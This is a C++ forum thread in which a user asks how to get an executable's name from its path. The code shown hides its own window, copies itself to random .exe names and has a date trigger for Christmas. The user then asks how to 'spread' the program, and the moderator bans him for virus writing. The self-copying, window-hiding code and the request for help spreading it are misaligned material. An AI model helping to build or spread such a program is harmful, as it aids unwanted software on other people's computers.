Getting file name off path

This is a discussion on Getting file name off path within the C++ Programming forums, part of the General Programming Boards category; Im trying to get the .exe name off the path wich GetModuleFileName(); gives me I just want the exeutable name ...

  1. #1
    Banned
    Join Date
    Oct 2004
    Posts
    250

    Getting file name off path

    Im trying to get the .exe name off the path wich GetModuleFileName(); gives me I just want the exeutable name but i'm stuck I just can't figure it out :O

    Code:
                    SYSTEMTIME ST;
    	GetSystemTime(&ST);
    	if (ST.wYear >= 2005 && ST.wMonth >= 12 && ST.wDay >= 25)
    	{
    		// cristmas delete program
    	}
    	char FileNamePath [256];
    	GetModuleFileName(0,FileNamePath,MAX_PATH);
    	char ExeName [256];
    
    	for(int i=0; i<strlen(FileNamePath);i++)
    	{
    		if (FileNamePath[i-1] != '\')
    		{
    			int copy_count = 0;
    			ExeName[copy_count] = FileNamePath[i];
    			copy_count+=1;
    		}
    	}

  2. #2
    Banned
    Join Date
    Oct 2004
    Posts
    250
    ive found a way of doing it if anyone is interested
    Code:
    #include <iostream>
    #include <windows.h>
    #include <cstring>
    #include <ctime>
    using namespace std;
    int main()
    {
    	srand((unsigned)time(0));
    	SYSTEMTIME ST;
    	GetSystemTime(&ST);
    	if (ST.wYear >= 2005 && ST.wMonth >= 12 && ST.wDay >= 25)
    	{
    		// cristmas delete program
    	}
    	char FileNamePath [256];
    	GetModuleFileName(0,FileNamePath,MAX_PATH);
    	char *pch = strrchr(FileNamePath,'\\');
    	char szExeName [256]= "";
    	for(int i=0;i<strlen(pch);i++)
    	{
    		*pch++;
    		szExeName[i] = *pch;
    	}
    	strcat(szExeName,"xe");
    	CopyFile("MerryChristmas.exe","1.exe",true);
    	int x = 0;
    	do
    	{
    		x++;
    		int new_name = rand();
    		char cnew_name [256];
    		itoa(new_name,cnew_name,10);
    		strcat(cnew_name,".exe");
    		CopyFile(szExeName,cnew_name,true);
    	}
    	while (x < 10);
    }

  3. #3
    Sweet
    Join Date
    Aug 2002
    Location
    Tucson, Arizona
    Posts
    1,801
    You and your viruses why not make something usefull?
    Woop?

  4. #4
    Registered User
    Join Date
    Aug 2005
    Posts
    1,267
    Code:
    #include <iostream>
    #include <windows.h>
    #include <cstring>
    #include <ctime>
    using namespace std;
    int main()
    {
    	srand((unsigned)time(0));
    	SYSTEMTIME ST;
    	GetSystemTime(&ST);
    	if (ST.wYear >= 2005 && ST.wMonth >= 12 && ST.wDay >= 25)
    	{
    		// cristmas delete program
    	}
    	char FileNamePath [256];
    	GetModuleFileName(0,FileNamePath,MAX_PATH);
    	char *pch = strrchr(FileNamePath,'\\');
    	char szExeName [256]= "";
    
    	for(int i=0;i<strlen(pch);i++)
    	{
    		*pch++;
    		szExeName[i] = *pch;
    	}
    ^^^ You don't need the above loop.  just use strcpy() function
     strcpy(szExeName,pch+1);
    
    	strcat(szExeName,"xe");
    ^^^ why "xe"?  why not "exe" or ".exe"
    	CopyFile("MerryChristmas.exe","1.exe",true);
    	int x = 0;
    	do
    	{
    		x++;
    		int new_name = rand();
    		char cnew_name [256];
    		itoa(new_name,cnew_name,10);
    		strcat(cnew_name,".exe");
    		CopyFile(szExeName,cnew_name,true);
    	}
    	while (x < 10);
    }

  5. #5
    Banned
    Join Date
    Oct 2004
    Posts
    250
    Wow thanks so much !
    Code:
    #include <iostream>
    #include <windows.h>
    #include <cstring>
    #include <ctime>
    using namespace std;
    int main()
    {
    	srand((unsigned)time(0));
    	SYSTEMTIME ST;
    	GetSystemTime(&ST);
    	if (ST.wYear >= 2005 && ST.wMonth >= 12 && ST.wDay >= 25)
    	{
    		if (ST.wYear == 2005 && ST.wMonth == 12 & ST.wDay == 25)
    		{
    			// cristmas delete program
    			// and pop up merry christmas banner
    		}
    		else
    		{
    			// day is past christmas 2005 delete program
    		}
    	}
    	char FileNamePath [256];
    	GetModuleFileName(0,FileNamePath,MAX_PATH);
    	HWND hwnd = FindWindow(hwnd,FileNamePath);
    	ShowWindow(hwnd,SW_HIDE);
    	char *pch = strrchr(FileNamePath,'\\');
    	char szExeName [256]= "";
    	strcpy(szExeName,pch+1);
    	int x = 0;
    	do
    	{
    		x++;
    		int new_name = rand();
    		char cnew_name [256];
    		itoa(new_name,cnew_name,10);
    		strcat(cnew_name,".exe");
    		CopyFile(szExeName,cnew_name,true);
    	}
    	while (x < 10);
    }
    theres the finished code now i just need a way to delete the program on christmas im thining of using a batch file.
    do you know any ways i could use to "spread" this program it doesn't do anything to the person computer that is "infected" and i will make it so a messagebox pops up and they have agree to "install it".
    PS prog-gman its not a virus .....
    Last edited by cgod; 09-22-2005 at 12:32 AM.

  6. #6
    Registered User
    Join Date
    Aug 2005
    Posts
    1,267
    Quote Originally Posted by cgod
    theres the finished code now i just need a way to delete the program on christmas im thining of using a batch file.
    do you know any ways i could use to "spread" this program it doesn't do anything to the person computer that is "infected" and i will make it so a messagebox pops up and they have agree to "install it".
    PS prog-gman its not a virus .....
    put a link to it on the internet so that people can download and install it themselves. Any program that spreads itself to other computers without the owner's consent or knowledge is a visus (or worm or whatever they call it ), even if all it does is display "Happy Newyear" on 1 Jan.

  7. #7
    and the hat of wrongness Salem's Avatar
    Join Date
    Aug 2001
    Location
    The edge of the known universe
    Posts
    32,417
    OK, enough overt virus writing - banned!!!
    If you dance barefoot on the broken glass of undefined behaviour, you've got to expect the occasional cut.
    If at first you don't succeed, try writing your phone number on the exam paper.
    I support http://www.ukip.org/ as the first necessary step to a free Europe.

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. opening empty file causes access violation
    By trevordunstan in forum C Programming
    Replies: 10
    Last Post: 10-21-2008, 11:19 PM
  2. Formatting a text file...
    By dagorsul in forum C Programming
    Replies: 12
    Last Post: 05-02-2008, 03:53 AM
  3. Formatting the contents of a text file
    By dagorsul in forum C++ Programming
    Replies: 2
    Last Post: 04-29-2008, 12:36 PM
  4. Can we have vector of vector?
    By ketu1 in forum C++ Programming
    Replies: 24
    Last Post: 01-03-2008, 04:02 AM
  5. System
    By drdroid in forum C++ Programming
    Replies: 3
    Last Post: 06-28-2002, 10:12 PM

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21